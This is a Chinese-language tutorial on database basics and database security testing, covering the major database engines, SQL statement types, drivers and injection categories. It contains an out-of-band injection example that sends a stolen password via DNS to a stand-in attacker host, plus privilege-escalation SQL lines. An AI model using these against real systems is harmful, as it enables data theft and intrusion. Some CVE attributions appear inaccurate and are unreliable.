跳转至

数据库技术基础

数据库技术基础

本章导读:本章介绍数据库系统的核心概念、主流数据库类型对比、SQL 语句基础、数据库安全机制(访问控制、加密、审计),以及 SQL 注入、越权访问等常见数据库安全威胁。

数据库系统概述

数据库系统(Database System, DBS)是用于存储、管理和检索数据的软件系统。

由数据库(DB)、数据库管理系统(DBMS)、应用程序和数据库管理员(DBA)组成。与直接使用文件(Excel、TXT)存储数据相比,数据库系统提供了数据完整性、并发控制、故障恢复、权限管理等核心能力。

关系型数据库(RDBMS)与非关系型数据库(NoSQL)对比

维度 关系型数据库(RDBMS) 非关系型数据库(NoSQL)
数据模型 二维表(行/列),严格的 Schema 键值对、文档、列族、图等,灵活的 Schema
查询语言 标准 SQL 各数据库自有 API(如 MongoDB 的 MQL、Redis 的命令)
事务支持 ACID(原子性、一致性、隔离性、持久性) 多数最终一致性,部分支持 ACID(如 MongoDB 4.0+)
扩展方式 垂直扩展(Scale Up)为主 水平扩展(Scale Out)为主
适用场景 复杂查询、强一致性、金融交易 高并发读写、海量数据、灵活数据结构
典型代表 MySQL、PostgreSQL、Oracle、SQL Server MongoDB(文档)、Redis(键值)、Cassandra(列族)、Neo4j(图)

SQL vs NoSQL 安全测试视角

  • 关系型数据库的 SQL 注入是最经典的数据库攻击手段,攻击者通过构造恶意 SQL 语句绕过认证、读取敏感数据或执行系统命令

  • NoSQL 数据库虽然不使用 SQL,但存在 NoSQL 注入(如 MongoDB 的 $where$ne 操作符注入)和 Redis 命令注入(通过 CRLF 注入执行任意 Redis 命令)

常见数据库详解

MySQL

  • 由瑞典 MySQL AB 公司开发,现属 Oracle,开源社区版(MySQL Community)与企业版并存

  • 存储引擎架构:支持多种存储引擎,最常用的是 InnoDB(支持事务、行级锁、外键、MVCC)和 MyISAM(表级锁、全文索引,已逐步淘汰)

  • 默认端口:3306。连接协议基于 TCP,认证使用 mysql_native_passwordcaching_sha2_password(MySQL 8.0 默认)

  • 主从复制(Replication):基于二进制日志(Binlog)的异步复制,支持一主多从、级联复制、GTID(全局事务标识符)

  • 安全测试关注点:默认空密码 root 账户、UDF(用户自定义函数)提权、LOAD_FILE() 读取系统文件、INTO OUTFILE 写文件、慢查询日志写 Shell

PostgreSQL

  • 开源对象-关系型数据库,以标准兼容性和扩展性著称,支持复杂数据类型(JSON/JSONB、数组、自定义类型)

  • 进程架构:每个连接一个后端进程(Postgres Process),通过共享内存(Shared Buffer)交互

  • 默认端口:5432。认证方式支持密码、MD5、SCRAM-SHA-256、LDAP、Kerberos、证书等

  • 高级特性:存储过程(PL/pgSQL、PL/Python)、触发器、规则系统(Rule System)、全文搜索、地理空间扩展(PostGIS)

  • 安全测试关注点:COPY FROM PROGRAM 执行系统命令(PostgreSQL 9.3+)、pg_read_file() 读取文件、弱口令、CVE-2018-16850(远程代码执行)、CVE-2019-9193(高权限命令执行)

Oracle

  • 企业级商业数据库,市场份额最高,支持大规模事务处理(OLTP)和数据分析(OLAP)

  • 体系结构:实例(Instance)= 内存结构(SGA、PGA)+ 后台进程;数据库(Database)= 数据文件 + 控制文件 + 重做日志

  • 默认端口:1521(TNS 监听器)。连接使用 TNS(Transparent Network Substrate)协议

  • 安全测试关注点:历史漏洞众多(如 CVE-2018-3004、CVE-2019-2551)、默认账户(SCOTT/TIGER)、PL/SQL 注入、DBMS 包权限滥用、TNS 监听器远程命令执行

SQL Server

  • 微软开发的关系型数据库,与 Windows 生态深度集成,支持 T-SQL(Transact-SQL)扩展

  • 默认端口:1433(TCP)。认证模式:Windows 身份验证(集成认证)和 SQL Server 身份验证(混合模式)

  • 安全测试关注点:SA 账户弱口令、XP_CMDSHELL 存储过程执行系统命令、CLR 集成执行 .NET 代码、OLE Automation 执行 WScript.Shell、历史漏洞(CVE-2020-0618、CVE-2021-1636)

MongoDB

  • 文档型 NoSQL 数据库,数据以 BSON(Binary JSON)格式存储,无需预定义 Schema

  • 默认端口:27017。无认证模式下任何客户端可连接(历史版本默认无认证,导致大量勒索事件)

  • 安全测试关注点:默认无认证暴露公网、NoSQL 注入($ne$gt$regex 操作符绕过认证)、JavaScript 注入($where 执行任意 JS)、GridFS 文件读取

Redis

  • 内存键值存储数据库,支持字符串、列表、集合、有序集合、哈希、位图、HyperLogLog、流等数据结构

  • 默认端口:6379。协议为 RESP(REdis Serialization Protocol),文本协议,简单高效

  • 持久化:RDB(快照)和 AOF(追加日志)两种方式

  • 安全测试关注点:默认无密码绑定 0.0.0.0(Redis 4.0 前常见配置问题)、主从复制 RCE(CVE-2019-10192,通过 SLAVEOF 和 MODULE LOAD 加载恶意模块)、Lua 沙箱逃逸、SSRF 攻击 Redis 协议写文件或反弹 Shell

SQL 语言基础

SQL(Structured Query Language)是关系型数据库的标准操作语言,分为四大类:

DDL(Data Definition Language,数据定义语言)

  • 用于定义和修改数据库结构:

  • CREATE DATABASE/SCHEMA/TABLE/INDEX/VIEW

  • ALTER TABLE(添加/修改/删除列、约束)

  • DROP TABLE/DATABASE(删除表/数据库,不可逆)

  • TRUNCATE TABLE(清空表数据,比 DELETE 快,不可回滚)

  • 安全测试意义:攻击者通过 SQL 注入执行 DROP TABLEALTER TABLE 可破坏数据结构;信息_schema 是 MySQL 的系统数据库,包含所有表结构信息,是 SQL 注入中枚举数据库结构的关键目标

DML(Data Manipulation Language,数据操作语言)

  • 用于操作数据记录:

  • INSERT INTO table (col1, col2) VALUES (val1, val2)

  • UPDATE table SET col1=val1 WHERE condition

  • DELETE FROM table WHERE condition

  • 安全测试意义:SQL 注入可导致未授权的数据修改(如 UPDATE users SET is_admin=1 WHERE id=1)或批量删除

DQL(Data Query Language,数据查询语言)

  • 核心语句 SELECT,支持复杂查询:

  • 条件过滤:WHEREANDORINBETWEENLIKE

  • 排序分页:ORDER BYLIMIT(MySQL)、OFFSET

  • 聚合分组:COUNT()SUM()AVG()GROUP BYHAVING

  • 多表关联:JOIN(INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL JOIN)、UNION/UNION ALL

  • 子查询:嵌套 SELECT 语句

  • 安全测试意义:UNION SELECT 是 SQL 注入提取数据的核心技术;ORDER BY 后的数字可用于判断查询列数;子查询可用于绕过过滤

DCL(Data Control Language,数据控制语言)

  • 用于权限管理:

  • GRANT:授予权限,如 GRANT SELECT, INSERT ON db.* TO 'user'@'%'

  • REVOKE:撤销权限

  • FLUSH PRIVILEGES:刷新权限表(MySQL)

  • 安全测试意义:高权限 SQL 注入可执行 GRANT FILE ON *.* TO 'user'@'%' 提升权限,或创建新用户后门

数据库连接与驱动

JDBC(Java Database Connectivity)

  • Java 语言访问数据库的标准 API,通过驱动管理器(DriverManager)加载数据库驱动(如 com.mysql.cj.jdbc.Driver

  • 连接字符串格式:jdbc:mysql://host:port/database?param1=value1&param2=value2

  • 安全测试关注点:连接字符串硬编码在代码或配置文件中泄露凭证;JDBC 反序列化漏洞(如 MySQL JDBC 驱动的 autoDeserialize=true 导致反序列化 RCE,CVE-2019-12086)

ODBC(Open Database Connectivity)

  • 微软提出的数据库访问标准 API,通过驱动程序(Driver)连接不同数据库

  • 连接字符串(DSN 或连接字符串)可能包含敏感信息,配置不当可导致未授权访问

ORM(Object-Relational Mapping)

  • 将数据库表映射为编程语言中的对象,开发者通过操作对象而非直接写 SQL 来访问数据库

  • 常见 ORM:Hibernate(Java)、Entity Framework(.NET)、SQLAlchemy(Python)、Django ORM、GORM(Go)、Sequelize(Node.js)

  • 安全测试关注点:ORM 并非绝对安全,ORM 注入仍然存在。例如:

  • Django ORM:User.objects.filter(username=request.GET['user']) 若直接拼接 raw()extra() 条件可注入

  • Hibernate HQL 注入:通过构造恶意 HQL 语句绕过查询逻辑

  • 框架生成的查询若使用字符串拼接而非参数化查询,同样存在注入风险

数据库连接池

  • 维护一组可复用的数据库连接,减少连接创建开销。常见实现:HikariCP(Java)、Druid(Java)、pgBouncer(PostgreSQL)、连接池中间件(MySQL Proxy)

  • 安全测试关注点:连接池配置中的最大连接数、连接超时、空闲检测;连接池监控接口(如 Druid 的 /druid/index.html)默认无认证暴露可导致数据库信息泄露

数据库安全测试关联点

  • SQL 注入(SQL Injection):最经典的数据库攻击,通过用户输入拼接 SQL 语句导致未授权数据访问或命令执行。分类:

  • 联合查询注入(Union-based):利用 UNION SELECT 合并查询结果提取数据

  • 报错注入(Error-based):通过数据库报错信息泄露敏感数据(如 MySQL 的 extractvalue()updatexml()

  • 布尔盲注(Boolean-based Blind):通过页面响应差异(True/False)逐位推断数据

  • 时间盲注(Time-based Blind):通过延迟函数(SLEEP()BENCHMARK())判断条件成立与否

  • 堆叠查询(Stacked Queries):一次提交多条 SQL 语句(MySQL 支持,部分数据库不支持)

  • 带外注入(Out-of-band):通过 DNS 查询(LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a.txt')))或 HTTP 请求外带数据

  • 防御:参数化查询(Prepared Statements)、ORM 安全使用、输入过滤、WAF、最小权限原则

  • 工具:SQLMap(自动化 SQL 注入检测与利用)、Burp Suite(手工测试)、NoSQLMap(NoSQL 注入检测)

  • 权限绕过与提权

  • 数据库账户权限过大(如应用使用 root/DBA 账户连接)导致注入后可执行任意操作

  • MySQL UDF 提权:上传自定义动态链接库(.so/.dll)到插件目录,创建函数执行系统命令

  • SQL Server XP_CMDSHELL 提权:启用存储过程执行操作系统命令

  • PostgreSQL COPY FROM PROGRAM 提权:高权限用户执行系统命令

  • Redis 主从复制 RCE(CVE-2019-10192):伪造 Redis 主服务器,发送恶意模块实现远程代码执行

  • 敏感信息泄露

  • 数据库错误信息暴露表结构、字段名、SQL 语句(调试模式未关闭)

  • 备份文件泄露(.sql.bak.dump

  • 数据库配置文件泄露(config.phpdatabase.ymlapplication.properties 包含连接字符串)

  • 慢查询日志、通用查询日志包含敏感 SQL 语句

  • 数据库漏洞 CVE

  • MySQL:CVE-2016-6662(远程代码执行,通过配置文件注入)、CVE-2021-2307(认证绕过)

  • PostgreSQL:CVE-2018-16850(远程代码执行)、CVE-2019-9193(高权限命令执行)

  • Oracle:CVE-2018-3004(WebLogic 配合数据库攻击链)、CVE-2021-2356(TNS 监听器漏洞)

  • MongoDB:历史默认无认证导致大规模勒索(2017 年约 27000 台服务器被勒索)

  • Redis:CVE-2019-10192(主从复制 RCE)、CVE-2021-41099(Lua 沙箱逃逸)